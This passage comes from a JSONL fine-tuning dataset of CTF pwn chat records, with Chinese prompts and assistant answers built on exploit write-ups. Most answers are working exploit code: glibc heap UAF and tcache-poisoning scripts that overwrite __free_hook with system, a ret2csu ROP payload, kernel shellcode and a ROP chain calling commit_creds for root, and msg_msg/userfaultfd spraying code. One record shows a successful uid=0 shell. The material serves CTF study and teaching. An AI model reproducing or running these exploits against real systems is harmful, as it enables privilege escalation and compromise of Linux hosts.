mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);\n    if (page == MAP_FAILED)\n    {\n        ErrExit(\"[-] mmap err\");\n    }\n    struct uffdio_copy uc;\n    // init page\n    memset(page, 0, sizeof(page));\n    memset(tmp_buf, 0, 0x50);\n    tmp_buf[3] = 0xd00;\n    memcpy(page,tmp_buf,0x50);\n    // strcpy(page,\"Lotus_just_Test\");\n    uc.src = (unsigned long) page;\n    uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);\n    uc.len = PAGE_SIZE;\n    uc.mode = 0;\n    uc.copy = 0;\n    ioctl(uffd, UFFDIO_COPY, &uc);\n    puts(\"[+] sleep3 handler done\");\n    return NULL;\n}\n\n\nvoid UAF()\n{\n    sem_wait(&sem_addmsg);\n    delete(0);\n    // RED puts(\"in\"); CLOSE\n    int ret=0;\n    for (int i = 0; i < 0x1; i++)\n    {\n        ms_qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n        if (ms_qid[i] < 0)\n        {\n            puts(\"[x] msgget!\");\n            return -1;\n        }\n    }\n\n    for (int i = 0; i < 0x2; i++)\n    {\n        memset(msg_buf, 'A' + i, 0X400 - 8);\n        ret = msgsnd(ms_qid[0], msg_buf, 0x400 - 0x30, 0);\n        if (ret < 0)\n        {\n            puts(\"[x] msgsnd!\");\n            return -1;\n        }\n    }\n    RED puts(\"[*] msg_msg spraying finish.\"); CLOSE\n    sem_post(&sem_editmsg);\n\n}\n\nstatic void *\nfault_handler_thread2(void *arg)\n{\n    struct uffd_msg msg;\n    unsigned long uffd = (unsigned long) arg;\n    puts(\"[+] edit heap->next handler created\");\n    int nready;\n    struct pollfd pollfd;\n    pollfd.fd = uffd;\n    pollfd.events = POLLIN;\n    nready = poll(&pollfd, 1, -1);\n    puts(\"[+] edit heap->next handler unblocked\");\n\n    sem_post(&edit_heap_next);\n\n\n    if (nready != 1)\n    {\n        ErrExit(\"[-] Wrong poll return val\");\n    }\n    nready = read(uffd, &msg, sizeof(msg));\n    if (nready <= 0)\n    {\n        ErrExit(\"[-] msg err\");\n    }\n\n    sem_wait(&edit_down);\n\n\n    char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);\n    if (page == MAP_FAILED)\n    {\n        ErrExit(\"[-] mmap err\");\n    }\n    struct uffdio_copy uc;\n    // init page\n    memset(page, 0, sizeof(page));\n    memcpy(page,fake_ops_buf,0x208);\n    // leak(page,0x208);\n    // strcpy(page,\"Lotus_just_Test\");\n    uc.src = (unsigned long) page;\n    uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);\n    uc.len = PAGE_SIZE;\n    uc.mode = 0;\n    uc.copy = 0;\n    ioctl(uffd, UFFDIO_COPY, &uc);\n\n    puts(\"[+] edit heap->next handler down!\");\n    return NULL;\n}", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-56cfe0cc1a854abd", "original_line": 341, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "split_group_key": "965eb079ac1d2a6539e8dac3"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-39f41f8c9bc473483b45", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「UAF 转 heap overlapping」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### UAF 转 heap overlapping\n\n以 fast bin attack 为例，在堆块的内存区域伪造 chunk 的 size 然后利用 UAF 部分地址写将 fd 修改到伪造的 chunk 头部，之后将 fake chunk 申请出来就可以造成堆块重叠。\n\n```python\nfrom pwn import *\n\nelf = ELF(\"./pwn\")\nlibc = ELF(\"./libc.so.6\")\ncontext(arch=elf.arch, os=elf.os)\ncontext.log_level = 'debug'\np = process([elf.path])\n\ndef add_chunk(index, size):\n    p.sendafter(\"choice:\", \"1\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"size:\", str(size))\n\ndef delete_chunk(index):\n    p.sendafter(\"choice:\", \"2\")\n    p.sendafter(\"index:\", str(index))\n\ndef edit_chunk(index, content):\n    p.sendafter(\"choice:\", \"3\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"length:\", str(len(content)))\n    p.sendafter(\"content:\", content)\n\ndef show_chunk(index):\n    p.sendafter(\"choice:\", \"4\")\n    p.sendafter(\"index:\", str(index))\n\nadd_chunk(10, 0x80)\nadd_chunk(0, 0x70)\nadd_chunk(1, 0x50)\nadd_chunk(2, 0x70)\n\nedit_chunk(0, 'a' * 0x60 + p64(0) + p64(0x81))\ndelete_chunk(2)\ndelete_chunk(0)\nedit_chunk(0, p8(0))\nadd_chunk(0, 0x70)\nadd_chunk(0, 0x70)\ndelete_chunk(2)\ngdb.attach(p)\np.interactive()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-7d9e03ede92a9e88", "original_line": 91, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3aa064d1fa16437dd838", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/0CTF2018-baby/start.sh` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/0CTF2018-baby/start.sh`\n\n分类：kernel\n\n语言：bash\n\n利用主题关键词：\n- seccomp/orw\n\n训练用代码片段：\n```bash\nqemu-system-x86_64 \\\n-m 256M -smp 2,cores=2,threads=1  \\\n-kernel ./vmlinuz-4.15.0-22-generic \\\n-initrd  ./exp.cpio \\\n-append \"root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet\" \\\n-cpu qemu64 \\\n-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \\\n-nographic  -enable-kvm  \\\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-7bf613864cfa352a", "original_line": 279, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/0CTF2018-baby/start.sh", "split": "train", "split_group_key": "1965a92abbe7499e6b50720f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/0CTF2018-baby/start.sh", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3acd3fedb7e2c222aeea", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「本地运行说明」。\n资料来源：Heap/off-by-one/2024ylb-null/WP.md；主题：2024ylb-null Writeup；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 本地运行说明\n\n直接 `python3 ./exp.py` 会使用宿主系统 libc。如果宿主 libc 不是 2.27，`delete(2)` 阶段可能因为更严格的堆校验触发：\n\n```text\ncorrupted size vs. prev_size while consolidating\n```\n\n本题应使用与 `libc-2.27.so` BuildID 匹配的 loader，例如：\n\n```python\np = process([\n    \"/tools/binary/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/ld-2.27.so\",\n    \"--library-path\",\n    \"/tools/binary/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64\",\n    \"./pwn\",\n])\n```\n\n另外，部分本地环境的 mmap 地址最高有效字节不一定包含 `\\x7f`，如果 `recvuntil(\"\\x7f\")` 卡住，可以改成固定读取 6 字节：\n\n```python\np.recvuntil(b\"Content: \")\nleak = u64(p.recvn(6).ljust(8, b\"\\x00\"))\nlibcbase = leak - 0x3ebca0\n```\n\n使用匹配 loader 并固定读取 6 字节后，本地验证可执行命令：\n\n```text\nuid=0(root) gid=0(root) groups=0(root),65534(nogroup)\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-9ebd7052f8676e85", "original_line": 118, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/2024ylb-null/WP.md", "split": "train", "split_group_key": "d6b6a0a5a29a7b1892b4d993"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/2024ylb-null/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3c3b17e7fae9a29a3587", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/off-by-one/2024ylb-null/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/off-by-one/2024ylb-null/exp.py`\n\n分类：heap\n\n语言：python\n\n环境/依赖线索：\n- `from pwnlib.util.packing import u64`\n- `from pwnlib.util.packing import u32`\n- `from pwnlib.util.packing import u16`\n- `from pwnlib.util.packing import u8`\n- `from pwnlib.util.packing import p64`\n- `from pwnlib.util.packing import p32`\n- `from pwnlib.util.packing import p16`\n- `from pwnlib.util.packing import p8`\n- `from pwn import *`\n- `from ctypes import *`\n\n函数/封装：\n- `add`\n- `dbg`\n- `delete`\n- `edit`\n- `show`\n\n利用主题关键词：\n- heap/tcache\n- seccomp/orw\n\n关键常量/偏移样例：\n`0x100`, `0x170`, `0x270`, `0xA34`, `0x14F5`, `0x3ebca0`\n\n训练用代码片段：\n```python\nfrom pwnlib.util.packing import u64\nfrom pwnlib.util.packing import u32\nfrom pwnlib.util.packing import u16\nfrom pwnlib.util.packing import u8\nfrom pwnlib.util.packing import p64\nfrom pwnlib.util.packing import p32\nfrom pwnlib.util.packing import p16\nfrom pwnlib.util.packing import p8\nfrom pwn import *\nfrom ctypes import *\ncontext(os='linux', arch='amd64', log_level='debug')\np = process(\"./pwn\")\n#p=remote('challenge.yuanloo.com',40358)\n# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])\nelf = ELF(\"./pwn\")\nlibc=ELF(\"./libc-2.27.so\")\n\n#b *$rebase(0x14F5)\ndef dbg():\n    gdb.attach(p,'b *$rebase(0xA34)')\n    pause()\n\nmenu=b':'\ndef add(idx,size):\n    p.sendlineafter(menu,str(1))\n    p.sendlineafter(\"Index: \",str(idx))\n    p.sendlineafter(\"Size \",str(size))\n\ndef delete(idx):\n    p.sendlineafter(menu,str(4))\n    p.sendlineafter(\"Index: \",str(idx))\n\ndef show(idx):\n    p.sendlineafter(menu,str(3))\n    p.sendlineafter(\"Index: \",str(idx))\n\ndef edit(idx,cont):\n    p.sendlineafter(menu,str(2))\n    p.sendlineafter(\"Index: \",str(idx))\n    p.sendlineafter(\"Content: \",cont)\n\nadd(0, 0xF8)\nadd(1, 0x68)\nadd(2, 0xF8)\nfor i in range(3, 10):#3-9\n    add(i, 0xF8)\nadd(12, 0x68)\nfor i in range(3, 10):#3-9\n    delete(i)\ndelete(0)\ndelete(1)\n'''\n保证0要是free chunk,这样1的prev_size会存0的chunk size,同时unlink第二个检查也会过\n'''\n#2的prev_size为0x170,同时PREV_INUSE=0\nadd(1,0x68)\nedit(1,b'a' * 0x60 + p64(0x170))\n#delete(2)会unlink前面overlapping chunk一起到unsorted bin，unsorted bin中chunk大小为0x270\ndelete(2)\nadd(0, 0x70)\nadd(2, 0x70)\n#前两个chunk大小总和为0x100，unsortedbin的fd刚好是原本的1\n# dbg()\nshow(1)\np.recvuntil(b'Content: ')\nlibcbase=u64(p.recvuntil('\\x7f')[-6:].ljust(8, b'\\x00'))-0x3ebca0\nprint(hex(libcbase))\n#此时chunklist中3和1的是相同的\nadd(3, 0x68)\nfree_hook=libcbase+libc.sym['__free_hook']\nsystem=libcbase+libc.sym['system']\n\n#tcache poison\ndelete(3)\nedit(1,p64(free_hook))\nadd(9,0x68)\nedit(9,b'/bin/sh\\x00')\nadd(10,0x68)\nedit(10,p64(system))\ndelete(9)\n\n\np.interactive()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-a92adfc3f5ac8da0", "original_line": 17, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/2024ylb-null/exp.py", "split": "train", "split_group_key": "4c924481dc2d5e320af31fe6"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/2024ylb-null/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3cb7a8a8141a123ae209", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「例题 2021qwnn bitflip」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 例题 2021qwnn bitflip\n\n给了个后门，直接利用。利用 scanf 传入过大数据会申请 chunk 的特性，用它来整理 fastbin 为 smallbin。泄露 libc，最后利用 chunk extend 造成堆重叠打 free_hook。\n\nexp：\n\n```python\nfrom pwn import *\nr=process('./bitflip')\n#r=remote('TARGET_IP','49153')\n#context.log_level='debug'\nlibc=ELF('/lib/x86_64-linux-gnu/libc.so.6')\none=[0x4f3d5,0x4f432,0x10a41c]\ndef add(idx,size):\n    r.recv()\n    r.sendline('1')\n    r.recv()\n    r.sendline(str(idx))\n    r.recv()\n    r.sendline(str(size))\n\ndef edit(idx,con):\n    r.recv()\n    r.sendline('2')\n    r.recv()\n    r.sendline(str(idx))\n    r.recv()\n    r.send(con)\n\ndef show(idx):\n    r.recv()\n    r.sendline('3')\n    r.sendlineafter(\"Index: \",str(idx))\ndef dele(idx):\n    r.recv()\n    r.sendline('4')\n    r.sendlineafter(\"Index: \",str(idx))\nfor i in range(9):\n    add(i,0x28)\nfor i in range(8):\n    dele(i)\nadd(15,'99999999'*0xf0)\nfor i in range(8):\n    add(i,0x28)\nshow(7)\nr.recvuntil(\"Content: \")\nleak=u64(r.recv(6)+'\\x00'*2)\nprint(hex(leak))\nbase=leak-0x3ebcc0\nprint(hex(base))\n\nfor i in range(9,16):\n    add(i,0x18)\n\nfor i in range(16,23):\n    add(i,0x28)\nadd(23,0x18)\nadd(24,0x28)\nadd(25,0x18)\nadd(26,0x18)\nfor i in range(9,16):\n    dele(i)\nfor i in range(16,23):\n    dele(i)\ndele(25)\nedit(23,'a'*0x18+'\\x51')\ngdb.attach(r)\ndele(24)\nraw_input()\nadd(9,0x48)\nfree=base+libc.sym[\"__free_hook\"]\nedit(9,p64(0)*5+p64(0x21)+p64(free-0x10)+'a'*0x10+'\\x21')\nfor i in range(10,17):\n    add(i,0x18)\nadd(17,0x18)\nadd(18,0x18)\nsys=base+libc.sym['system']\nedit(17,'/bin/sh\\x00\\n')\nedit(18,p64(sys)+'\\n')\ndele(17)\n\nr.interactive()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-4eaef111c34a24ed", "original_line": 72, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3d3f7e657f5b5e2a604a", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「msgrcv接收数据的调用链及方法」。\n资料来源：Kernel/readme.md；主题：利用msg_msg实现任意地址读写；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### msgrcv接收数据的调用链及方法\n\n调用链`msgrcv() -> ksys_msgrcv() -> do_msgrcv() -> find_msg() & do_msg_fill() & free_msg()`。通过`find_msg`来定位消息，并将消息从队列中`unlink`，再调用`do_msg_fill() -> store_msg()`来将消息从内核空间拷贝到用户空间，最后调用`free_msg`释放消息。\n\n使用方法：例如我们想要接收一个包含`0x1000个'A'`的消息，代码如下：\n\n```lisp\nvoid *memdump = malloc(0x1000);\nmsgrcv(qid, memdump, 0x1000, 1, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);\n```\n\n此外值得注意的是：如果用`flag:MSG_COPY`来调用`msgrcv()`，就会调用`prepare_copy()`分配临时消息，并调用`copy_msg()`将请求的数据拷贝到该临时消息。在将消息拷贝到用户空间之后，原始消息会被保留，不会从队列中`unlink`，而是直接`goto out_unlock0`，然后调用`free_msg()`删除该临时消息，有些题目中这一点对于利用很重要。为什么？因为有些题目漏洞在UAF的时候，没有泄露正确地址，所以会破坏`msg_msg->m_list`双链表指针，`unlink`会触发崩溃。如果某漏洞可以跳过前16字节，那就不需要注意这一点。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 34, "ctf_task_type": "pwn", "original_id": "pwn101-doc-0bc6ec2ef426c9ff", "original_line": 407, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/readme.md", "split": "train", "split_group_key": "d589209c11be5b5bd758636a"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3d78ba2f51f9744ea26c", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/2024wdb/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/2024wdb/exp.py`\n\n分类：kernel\n\n语言：python\n\n环境/依赖线索：\n- `import base64`\n- `from pwn import*`\n\n利用主题关键词：\n- seccomp/orw\n- kernel\n- stack/rop\n\n关键常量/偏移样例：\n`0xff3`, `0xffff`, `0x800000`, `0x808e00`, `0xCB0787`, `0xa00080`, `0xa08e00`, `0x000a2ec0`, `0x000b0fd0`, `0x008015d0`, `0x00a01670`, `0x00e40320`, `0x010405e0`, `0xfffffe0000000004`\n\n训练用代码片段：\n```python\nimport base64\nfrom pwn import*\ncontext.arch='amd64'\n\n\nprotect_addr=0xfffffe0000000004\nkbase_offset1=0x808e00\nkbase_offset2=0xa08e00\nentry_SYSCALL_64_offset1=0x800000\nentry_SYSCALL_64_offset2=0xa00080\nswapgs_offset=0x008015d0\nswapgs_offset2=0x00a01670\ninit_cred_offset=0x00e40320\ninit_cred_offset2=0x010405e0\n\ncommit_creds_offset=0x000a2ec0\ncommit_creds_offset2=0x000b0fd0\nrop_offset=0xCB0787\nshellcode_all=f\"\"\"\n\n    mov rbp,rsp\n    mov rax,{protect_addr}\n    mov r15,qword ptr [rax]\n    sub r15,{kbase_offset1} ;r15=kbase\n\n    mov rax,{entry_SYSCALL_64_offset1}\n    add rax,r15 ;rax=entry_SYSCALL_64\n    mov esi, dword ptr [rax]\n    and esi,0xffff\n    sub esi,0xff3\n    test esi,esi\n    jne kernel2\n\nkernel1:\n    mov rdi,{init_cred_offset} ;rdi=init_cred\n    add rdi,r15\n    mov rsi,{commit_creds_offset} ;rsi=commit_creds\n    add rsi,r15\n    mov rdx,{swapgs_offset} ;rdx=swapgs\n    add rdx,r15\n    add rdx,0x16\n    jmp ret2user\nkernel2:\n    add r15,{kbase_offset1}\n    sub r15,{kbase_offset2}  ;r15=kbase\n    mov rdi,{init_cred_offset2} ;rdi=init_cred\n    add rdi,r15\n    mov rsi,{commit_creds_offset2} ;rsi=commit_creds\n    add rsi,r15\n    mov rdx,{swapgs_offset2} ;rdx=swapgs\n    add rdx,r15\n    add rdx,0x31\n    nop\nret2user:\n    add rsp ,0x80\n    mov rbp, qword ptr [rsp+0x18]\n    push 0\n    push 0\n    push rdx\n    push rsi\n    ret\n\"\"\"\n\n\nsh_all=asm(shellcode_all)\nprint(\"base64_all:\")\nprint(base64.b64encode(sh_all))\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-bb351c4c27125a7c", "original_line": 282, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2024wdb/exp.py", "split": "train", "split_group_key": "baa29004c1e778c47c11ce62"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2024wdb/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3d95aa0f6608bb36ef20", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2csu/[NewStarCTF 公开赛赛道]ret2csu1/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2csu/[NewStarCTF 公开赛赛道]ret2csu1/exp_cli.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n利用主题关键词：\n- stack/rop\n\n关键常量/偏移样例：\n`0x400710`, `0x40072a`, `0x4007bb`, `0x601050`, `0x601068`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\noff=40\ngadget1=0x40072a\ngadget2=0x400710\nsyscall=0x601068\ncat=0x4007bb\nflag=0x601050\n\npayload=b'a'*off\npayload+=p64(gadget1)+p64(0)+p64(1)\npayload+=p64(syscall)\npayload+=p64(cat)+p64(flag)+p64(0)\npayload+=p64(gadget2)\n\nsa(\"it!\\n\",payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-code-c49b89d02d80d8a4", "original_line": 522, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2csu/[NewStarCTF 公开赛赛道]ret2csu1/exp_cli.py", "split": "train", "split_group_key": "9c4b093fd0309fb47886dd8e"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2csu/[NewStarCTF 公开赛赛道]ret2csu1/exp_cli.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3dfb91222ac7e71a04e2", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/QWB2018-core/exp.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/QWB2018-core/exp.c`\n\n分类：kernel\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n\n函数/封装：\n- `core_copy_func`\n- `core_read`\n- `find_symbols`\n- `main`\n- `set_off`\n\n利用主题关键词：\n- io-file/fsop\n- seccomp/orw\n- kernel\n- stack/rop\n\n关键常量/偏移样例：\n`0x100`, `0x800`, `0x1000`, `0x7fc8d`, `0x6677889A`, `0x6677889B`, `0x6677889C`, `0xffffffff81000b2f`, `0xffffffff8101aa6a`, `0xffffffff81021e53`, `0xffffffff81050ac2`, `0xffffffff810a0f49`, `0xffffffff81a012da`, `0xffffffff9361cc53`, `0xffffffffffff0000`\n\n训练用代码片段：\n```c\n// gcc exploit.c -static -masm=intel -g -o exploit\n#include \n\nsize_t commit_creds = 0, prepare_kernel_cred = 0;\nsize_t raw_vmlinux_base = 0xffffffff9361cc53;\nsize_t vmlinux_base = 0;\n\nsize_t find_symbols()\n{\n    FILE* kallsyms_fd = fopen(\"/tmp/kallsyms\", \"r\");\n\n    if(kallsyms_fd < 0)\n    {\n        puts(\"[*]open kallsyms error!\");\n        exit(0);\n    }\n\n    char buf[0x30] = {0};\n    while(fgets(buf, 0x30, kallsyms_fd))\n    {\n        if(commit_creds & prepare_kernel_cred)\n            return 0;\n\n        if(strstr(buf, \"commit_creds\") && !commit_creds)\n        {\n            /* puts(buf); */\n            char hex[20] = {0};\n            strncpy(hex, buf, 16);\n            sscanf(hex, \"%llx\", &commit_creds);\n            printf(\"commit_creds addr: %p\\n\", commit_creds);\n            vmlinux_base = commit_creds - 0x7fc8d;\n            printf(\"vmlinux_base addr: %p\\n\", vmlinux_base);\n        }\n\n        if(strstr(buf, \"prepare_kernel_cred\") && !prepare_kernel_cred)\n        {\n            char hex[20] = {0};\n            strncpy(hex, buf, 16);\n            sscanf(hex, \"%llx\", &prepare_kernel_cred);\n            printf(\"prepare_kernel_cred addr: %p\\n\", prepare_kernel_cred);\n        }\n    }\n\n    if(!(prepare_kernel_cred & commit_creds))\n    {\n        puts(\"[*]Error!\");\n        exit(0);\n    }\n}\n\nsize_t user_cs, user_ss, user_rflags, user_sp;\n\nvoid set_off(int fd, long long idx)\n{\n    printf(\"[*]set off9 to %ld\\n\", idx);\n    ioctl(fd, 0x6677889C, idx);\n}\n\nvoid core_read(int fd, char *buf)\n{\n    puts(\"[*]read to buf.\");\n    ioctl(fd, 0x6677889B, buf);\n}\n\nvoid core_copy_func(int fd, long long size)\n{\n    printf(\"[*]copy from user with size: %ld\\n\", size);\n    ioctl(fd, 0x6677889A, size);\n}\n\nint main()\n{\n    save_status();\n    int fd = open(\"/proc/core\", 2);\n    if (fd < 0)\n    {\n        puts(\"[*]open /proc/core error!\");\n        exit(0);\n    }\n\n    find_symbols();\n    ssize_t offset = vmlinux_base - raw_vmlinux_base;\n\n    set_off(fd, 0x40);\n    char buf[0x40] = {0};\n    core_read(fd, buf);\n    size_t canary = ((size_t *)buf)[0];\n    printf(\"[+]canary: %p\\n\", canary);\n\n    size_t rop[0x1000] = {0};\n    int i;\n\n    for(i = 0; i < 10; i++)\n    {\n        rop[i] = canary;\n    }\n\n    rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret\n    rop[i++] = 0;\n    rop[i++] = prepare_kernel_cred;         // prepare_kernel_cred(0)\n\n    rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret\n    rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret\n    rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;\n    rop[i++] = commit_creds;\n\n    rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret\n    rop[i++] = 0;\n    rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;\n\n    rop[i++] = (size_t)get_root_shell; // rip\n\n    rop[i++] = user_cs;\n    rop[i++] = user_rflags;\n    rop[i++] = user_sp;\n    rop[i++] = user_ss;\n\n    write(fd, rop, 0x800);\n    core_copy_func(fd, 0xffffffffffff0000 | (0x100));\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-7384e6c072133aea", "original_line": 27, 